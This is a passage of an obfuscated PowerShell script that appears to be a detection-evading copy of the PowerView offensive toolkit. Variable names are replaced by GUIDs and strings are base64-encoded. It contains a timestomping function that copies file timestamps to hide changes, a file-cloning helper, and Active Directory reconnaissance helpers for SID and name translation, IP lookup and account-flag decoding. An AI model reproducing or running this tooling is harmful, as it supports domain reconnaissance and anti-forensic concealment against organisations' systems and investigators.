${d4450b926309498f8c134809102610ae} = @{'Modified' = (${4d456ccec09c41198677e231a691d574}.LastWriteTime);
'Accessed' = (${4d456ccec09c41198677e231a691d574}.LastAccessTime);
'Created' = (${4d456ccec09c41198677e231a691d574}.CreationTime)};
${ac0924d35e404d61a18ba85b96af5f1b} = New-Object -TypeName PSObject -Property ${d4450b926309498f8c134809102610ae}
Return ${ac0924d35e404d61a18ba85b96af5f1b}
}
${4d456ccec09c41198677e231a691d574} = (gi -Path ${c2d0346f3c5149d2996b8185fb799893})
if ($PSBoundParameters[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBsAGwATQBhAGMAQQB0AHQAcgBpAGIAdQB0AGUAcwA=')))]) {
${a66228d4cdbb458396462063f093e9e7} = ${b5acf01e5ce74eb69ecbeb799e2aea92}
${a0fc0d35a3ef486ab4c94d2a2c53e6d3} = ${b5acf01e5ce74eb69ecbeb799e2aea92}
${cbeebcbb28aa4440b574e0e9fa04d7a0} = ${b5acf01e5ce74eb69ecbeb799e2aea92}
}
if ($PSBoundParameters[$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TwBsAGQARgBpAGwAZQBQAGEAdABoAA==')))]) {
${f8890795c1ac4a1fae47c2edb2c7bd18} = (Get-MacAttribute ${bbe0368d277a48ea8cc2ea9a420e2221})
${a66228d4cdbb458396462063f093e9e7} = ${f8890795c1ac4a1fae47c2edb2c7bd18}.Modified
${a0fc0d35a3ef486ab4c94d2a2c53e6d3} = ${f8890795c1ac4a1fae47c2edb2c7bd18}.Accessed
${cbeebcbb28aa4440b574e0e9fa04d7a0} = ${f8890795c1ac4a1fae47c2edb2c7bd18}.Created
}
if (${a66228d4cdbb458396462063f093e9e7}) {${4d456ccec09c41198677e231a691d574}.LastWriteTime = ${a66228d4cdbb458396462063f093e9e7}}
if (${a0fc0d35a3ef486ab4c94d2a2c53e6d3}) {${4d456ccec09c41198677e231a691d574}.LastAccessTime = ${a0fc0d35a3ef486ab4c94d2a2c53e6d3}}
if (${cbeebcbb28aa4440b574e0e9fa04d7a0}) {${4d456ccec09c41198677e231a691d574}.CreationTime = ${cbeebcbb28aa4440b574e0e9fa04d7a0}}
Return (Get-MacAttribute ${c2d0346f3c5149d2996b8185fb799893})
}
function Copy-ClonedFile {
param(
[Parameter(Mandatory = $True)]
[String]
[ValidateNotNullOrEmpty()]
${d8f5ef9192d34bd186257390321fc8b6},
[Parameter(Mandatory = $True)]
[String]
[ValidateNotNullOrEmpty()]
${d5fcb7bd24f4428989a16946cd470554}
)
Set-MacAttribute -c2d0346f3c5149d2996b8185fb799893 ${d8f5ef9192d34bd186257390321fc8b6} -bbe0368d277a48ea8cc2ea9a420e2221 ${d5fcb7bd24f4428989a16946cd470554}
cp -Path ${d8f5ef9192d34bd186257390321fc8b6} -Destination ${d5fcb7bd24f4428989a16946cd470554}
}
function Get-IPAddress {
[CmdletBinding()]
param(
[Parameter(Position=0,ValueFromPipeline=$True)]
[Alias('HostName')]
[String]
${c096522c7bbe4c7aaadf99843e3b09fb} = ''
)
process {
try {
${c4a41499c8654975888fc2e39184e1e7} = @(([Net.Dns]::GetHostEntry(${c096522c7bbe4c7aaadf99843e3b09fb})).AddressList)
if (${c4a41499c8654975888fc2e39184e1e7}.Count -ne 0) {
ForEach (${934af845da6e4eb0a5370de6d7b8da04} in ${c4a41499c8654975888fc2e39184e1e7}) {
if (${934af845da6e4eb0a5370de6d7b8da04}.AddressFamily -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBuAHQAZQByAE4AZQB0AHcAbwByAGsA')))) {
${934af845da6e4eb0a5370de6d7b8da04}.IPAddressToString
}
}
}
}
catch {
Write-Verbose -Message $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBvAHUAbABkACAAbgBvAHQAIAByAGUAcwBvAGwAdgBlACAAaABvAHMAdAAgAHQAbwAgAGEAbgAgAEkAUAAgAEEAZABkAHIAZQBzAHMALgA=')))
}
}
end {}
}
function Convert-NameToSid {
[CmdletBinding()]
param(
[Parameter(Mandatory=$True,ValueFromPipeline=$True)]
[String]
[Alias('Name')]
${d812a92a48c94a1ab80bf8ce2384cab2},
[String]
${afa30c601e734738b32424a6234484e4} = (Get-NetDomain).Name
)
process {
${d812a92a48c94a1ab80bf8ce2384cab2} = ${d812a92a48c94a1ab80bf8ce2384cab2} -replace "/","\"
if(${d812a92a48c94a1ab80bf8ce2384cab2}.contains("\")) {
${afa30c601e734738b32424a6234484e4} = ${d812a92a48c94a1ab80bf8ce2384cab2}.split("\")[0]
${d812a92a48c94a1ab80bf8ce2384cab2} = ${d812a92a48c94a1ab80bf8ce2384cab2}.split("\")[1]
}
try {
${02bd686d816c4b9c93d019c255069be2} = (New-Object System.Security.Principal.NTAccount(${afa30c601e734738b32424a6234484e4},${d812a92a48c94a1ab80bf8ce2384cab2}))
${02bd686d816c4b9c93d019c255069be2}.Translate([System.Security.Principal.SecurityIdentifier]).Value
}
catch {
Write-Verbose "Invalid object/name: ${afa30c601e734738b32424a6234484e4}\${d812a92a48c94a1ab80bf8ce2384cab2}"
$Null
}
}
}
function Convert-SidToName {
[CmdletBinding()]
param(
[Parameter(Mandatory=$True,ValueFromPipeline=$True)]
[String]
${d72c41ecfd1e4100a077ef856e028545}
)
process {
try {
${f6100d2d814748019ba7819a1bc8affb} = ${d72c41ecfd1e4100a077ef856e028545}.trim('*')
Switch (${f6100d2d814748019ba7819a1bc8affb})
{
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQAwAA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgB1AGwAbAAgAEEAdQB0AGgAbwByAGkAdAB5AA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQAwAC0AMAA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAGIAbwBkAHkA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQAxAA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwBvAHIAbABkACAAQQB1AHQAaABvAHIAaQB0AHkA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQAxAC0AMAA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RQB2AGUAcgB5AG8AbgBlAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQAyAA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TABvAGMAYQBsACAAQQB1AHQAaABvAHIAaQB0AHkA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQAyAC0AMAA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TABvAGMAYQBsAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQAyAC0AMQA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBvAG4AcwBvAGwAZQAgAEwAbwBnAG8AbgAgAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQAzAA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwByAGUAYQB0AG8AcgAgAEEAdQB0AGgAbwByAGkAdAB5AA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQAzAC0AMAA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwByAGUAYQB0AG8AcgAgAE8AdwBuAGUAcgA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQAzAC0AMQA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwByAGUAYQB0AG8AcgAgAEcAcgBvAHUAcAA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQAzAC0AMgA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwByAGUAYQB0AG8AcgAgAE8AdwBuAGUAcgAgAFMAZQByAHYAZQByAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQAzAC0AMwA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwByAGUAYQB0AG8AcgAgAEcAcgBvAHUAcAAgAFMAZQByAHYAZQByAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQAzAC0ANAA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TwB3AG4AZQByACAAUgBpAGcAaAB0AHMA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA0AA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4ALQB1AG4AaQBxAHUAZQAgAEEAdQB0AGgAbwByAGkAdAB5AA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBUACAAQQB1AHQAaABvAHIAaQB0AHkA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMQA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABpAGEAbAB1AHAA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMgA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBlAHQAdwBvAHIAawA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBhAHQAYwBoAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0ANAA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBuAHQAZQByAGEAYwB0AGkAdgBlAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0ANgA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBlAHIAdgBpAGMAZQA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0ANwA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBuAG8AbgB5AG0AbwB1AHMA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AOAA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAByAG8AeAB5AA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AOQA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RQBuAHQAZQByAHAAcgBpAHMAZQAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgBzAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMQAwAA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UAByAGkAbgBjAGkAcABhAGwAIABTAGUAbABmAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMQAxAA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQB1AHQAaABlAG4AdABpAGMAYQB0AGUAZAAgAFUAcwBlAHIAcwA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMQAyAA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAHMAdAByAGkAYwB0AGUAZAAgAEMAbwBkAGUA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMQAzAA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABVAHMAZQByAHMA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMQA0AA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAG0AbwB0AGUAIABJAG4AdABlAHIAYQBjAHQAaQB2AGUAIABMAG8AZwBvAG4A'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMQA1AA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VABoAGkAcwAgAE8AcgBnAGEAbgBpAHoAYQB0AGkAbwBuACAA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMQA3AA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VABoAGkAcwAgAE8AcgBnAGEAbgBpAHoAYQB0AGkAbwBuACAA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMQA4AA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TABvAGMAYQBsACAAUwB5AHMAdABlAG0A'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMQA5AA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBUACAAQQB1AHQAaABvAHIAaQB0AHkA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMgAwAA=='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBUACAAQQB1AHQAaABvAHIAaQB0AHkA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AOAAwAC0AMAA='))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBsAGwAIABTAGUAcgB2AGkAYwBlAHMAIAA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA0ADQA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAcwA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA0ADUA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFUAcwBlAHIAcwA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA0ADYA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAEcAdQBlAHMAdABzAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA0ADcA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFAAbwB3AGUAcgAgAFUAcwBlAHIAcwA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA0ADgA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAEEAYwBjAG8AdQBuAHQAIABPAHAAZQByAGEAdABvAHIAcwA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA0ADkA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFMAZQByAHYAZQByACAATwBwAGUAcgBhAHQAbwByAHMA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA1ADAA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFAAcgBpAG4AdAAgAE8AcABlAHIAYQB0AG8AcgBzAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA1ADEA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAEIAYQBjAGsAdQBwACAATwBwAGUAcgBhAHQAbwByAHMA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA1ADIA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFIAZQBwAGwAaQBjAGEAdABvAHIAcwA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA1ADQA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFAAcgBlAC0AVwBpAG4AZABvAHcAcwAgADIAMAAwADAAIABDAG8AbQBwAGEAdABpAGIAbABlACAAQQBjAGMAZQBzAHMA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA1ADUA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFIAZQBtAG8AdABlACAARABlAHMAawB0AG8AcAAgAFUAcwBlAHIAcwA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA1ADYA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAE4AZQB0AHcAbwByAGsAIABDAG8AbgBmAGkAZwB1AHIAYQB0AGkAbwBuACAATwBwAGUAcgBhAHQAbwByAHMA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA1ADcA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAEkAbgBjAG8AbQBpAG4AZwAgAEYAbwByAGUAcwB0ACAAVAByAHUAcwB0ACAAQgB1AGkAbABkAGUAcgBzAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA1ADgA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFAAZQByAGYAbwByAG0AYQBuAGMAZQAgAE0AbwBuAGkAdABvAHIAIABVAHMAZQByAHMA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA1ADkA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFAAZQByAGYAbwByAG0AYQBuAGMAZQAgAEwAbwBnACAAVQBzAGUAcgBzAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA2ADAA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFcAaQBuAGQAbwB3AHMAIABBAHUAdABoAG8AcgBpAHoAYQB0AGkAbwBuACAAQQBjAGMAZQBzAHMAIABHAHIAbwB1AHAA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA2ADEA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAATABpAGMAZQBuAHMAZQAgAFMAZQByAHYAZQByAHMA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA2ADIA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAEQAaQBzAHQAcgBpAGIAdQB0AGUAZAAgAEMATwBNACAAVQBzAGUAcgBzAA=='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA2ADkA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABPAHAAZQByAGEAdABvAHIAcwA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA3ADMA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAEUAdgBlAG4AdAAgAEwAbwBnACAAUgBlAGEAZABlAHIAcwA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA3ADQA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgAFMAZQByAHYAaQBjAGUAIABEAEMATwBNACAAQQBjAGMAZQBzAHMA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA3ADUA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFIARABTACAAUgBlAG0AbwB0AGUAIABBAGMAYwBlAHMAcwAgAFMAZQByAHYAZQByAHMA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA3ADYA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFIARABTACAARQBuAGQAcABvAGkAbgB0ACAAUwBlAHIAdgBlAHIAcwA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA3ADcA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAFIARABTACAATQBhAG4AYQBnAGUAbQBlAG4AdAAgAFMAZQByAHYAZQByAHMA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA3ADgA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAEgAeQBwAGUAcgAtAFYAIABBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMA'))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA3ADkA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAEEAYwBjAGUAcwBzACAAQwBvAG4AdAByAG8AbAAgAEEAcwBzAGkAcwB0AGEAbgBjAGUAIABPAHAAZQByAGEAdABvAHIAcwA='))) }
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwAtADEALQA1AC0AMwAyAC0ANQA4ADAA'))) { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgBVAEkATABUAEkATgBcAEEAYwBjAGUAcwBzACAAQwBvAG4AdAByAG8AbAAgAEEAcwBzAGkAcwB0AGEAbgBjAGUAIABPAHAAZQByAGEAdABvAHIAcwA='))) }
Default {
${02bd686d816c4b9c93d019c255069be2} = (New-Object System.Security.Principal.SecurityIdentifier(${f6100d2d814748019ba7819a1bc8affb}))
${02bd686d816c4b9c93d019c255069be2}.Translate( [System.Security.Principal.NTAccount]).Value
}
}
}
catch {
${d72c41ecfd1e4100a077ef856e028545}
}
}
}
function Convert-NT4toCanonical {
[CmdletBinding()]
param(
[Parameter(Mandatory=$True,ValueFromPipeline=$True)]
[String]
${d812a92a48c94a1ab80bf8ce2384cab2}
)
process {
${d812a92a48c94a1ab80bf8ce2384cab2} = ${d812a92a48c94a1ab80bf8ce2384cab2} -replace "/","\"
if(${d812a92a48c94a1ab80bf8ce2384cab2}.contains("\")) {
${afa30c601e734738b32424a6234484e4} = ${d812a92a48c94a1ab80bf8ce2384cab2}.split("\")[0]
}
function Invoke-Method([__ComObject] ${b2929ecf6cd74a84bce9ccd2f5622fbb}, [String] ${b2abe530830445cbb72b697b996bcc74}, ${a1222ef63e2c418a9061e1f9abaea0ce}) {
${ba07974faf104db5a05c8c7bd5074855} = ${b2929ecf6cd74a84bce9ccd2f5622fbb}.GetType().InvokeMember(${b2abe530830445cbb72b697b996bcc74}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBuAHYAbwBrAGUATQBlAHQAaABvAGQA'))), $Null, ${b2929ecf6cd74a84bce9ccd2f5622fbb}, ${a1222ef63e2c418a9061e1f9abaea0ce})
if ( ${ba07974faf104db5a05c8c7bd5074855} ) { ${ba07974faf104db5a05c8c7bd5074855} }
}
function Set-Property([__ComObject] ${b2929ecf6cd74a84bce9ccd2f5622fbb}, [String] ${e87ec1ffc9db4fdf9361349d8693ae94}, ${a1222ef63e2c418a9061e1f9abaea0ce}) {
[Void] ${b2929ecf6cd74a84bce9ccd2f5622fbb}.GetType().InvokeMember(${e87ec1ffc9db4fdf9361349d8693ae94}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBlAHQAUAByAG8AcABlAHIAdAB5AA=='))), $Null, ${b2929ecf6cd74a84bce9ccd2f5622fbb}, ${a1222ef63e2c418a9061e1f9abaea0ce})
}
${34a870b0788340e885c8e92894c695d3} = New-Object -ComObject NameTranslate
try {
Invoke-Method ${34a870b0788340e885c8e92894c695d3} $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBuAGkAdAA='))) (1, ${afa30c601e734738b32424a6234484e4})
}
catch [System.Management.Automation.MethodInvocationException] {
Write-Debug "Error with translate init in Convert-NT4toCanonical: $_"
}
Set-Property ${34a870b0788340e885c8e92894c695d3} $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBoAGEAcwBlAFIAZQBmAGUAcgByAGEAbAA='))) (0x60)
try {
Invoke-Method ${34a870b0788340e885c8e92894c695d3} $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBlAHQA'))) (3, ${d812a92a48c94a1ab80bf8ce2384cab2})
(Invoke-Method ${34a870b0788340e885c8e92894c695d3} $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBlAHQA'))) (2))
}
catch [System.Management.Automation.MethodInvocationException] {
Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_"
}
}
}
function Convert-CanonicaltoNT4 {
[CmdletBinding()]
param(
[String] ${d812a92a48c94a1ab80bf8ce2384cab2}
)
${afa30c601e734738b32424a6234484e4} = (${d812a92a48c94a1ab80bf8ce2384cab2} -split "@")[1]
${d812a92a48c94a1ab80bf8ce2384cab2} = ${d812a92a48c94a1ab80bf8ce2384cab2} -replace "/","\"
function Invoke-Method([__ComObject] ${b2929ecf6cd74a84bce9ccd2f5622fbb}, [String] ${b2abe530830445cbb72b697b996bcc74}, ${a1222ef63e2c418a9061e1f9abaea0ce}) {
${ba07974faf104db5a05c8c7bd5074855} = ${b2929ecf6cd74a84bce9ccd2f5622fbb}.GetType().InvokeMember(${b2abe530830445cbb72b697b996bcc74}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBuAHYAbwBrAGUATQBlAHQAaABvAGQA'))), $NULL, ${b2929ecf6cd74a84bce9ccd2f5622fbb}, ${a1222ef63e2c418a9061e1f9abaea0ce})
if ( ${ba07974faf104db5a05c8c7bd5074855} ) { ${ba07974faf104db5a05c8c7bd5074855} }
}
function Set-Property([__ComObject] ${b2929ecf6cd74a84bce9ccd2f5622fbb}, [String] ${e87ec1ffc9db4fdf9361349d8693ae94}, ${a1222ef63e2c418a9061e1f9abaea0ce}) {
[Void] ${b2929ecf6cd74a84bce9ccd2f5622fbb}.GetType().InvokeMember(${e87ec1ffc9db4fdf9361349d8693ae94}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBlAHQAUAByAG8AcABlAHIAdAB5AA=='))), $NULL, ${b2929ecf6cd74a84bce9ccd2f5622fbb}, ${a1222ef63e2c418a9061e1f9abaea0ce})
}
${34a870b0788340e885c8e92894c695d3} = New-Object -comobject NameTranslate
try {
Invoke-Method ${34a870b0788340e885c8e92894c695d3} $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBuAGkAdAA='))) (1, ${afa30c601e734738b32424a6234484e4})
}
catch [System.Management.Automation.MethodInvocationException] { }
Set-Property ${34a870b0788340e885c8e92894c695d3} $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBoAGEAcwBlAFIAZQBmAGUAcgByAGEAbAA='))) (0x60)
try {
Invoke-Method ${34a870b0788340e885c8e92894c695d3} $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBlAHQA'))) (5, ${d812a92a48c94a1ab80bf8ce2384cab2})
(Invoke-Method ${34a870b0788340e885c8e92894c695d3} $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBlAHQA'))) (3))
}
catch [System.Management.Automation.MethodInvocationException] { $_ }
}
function ConvertFrom-UACValue {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
${e90163d6067a479d9ce734224dc75bc9},
[Switch]
${b48dbad4885b4800980979010426b8fd}
)
begin {
${477642117c8241ba89a5c9a261126284} = New-Object System.Collections.Specialized.OrderedDictionary
${477642117c8241ba89a5c9a261126284}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBDAFIASQBQAFQA'))), 1)
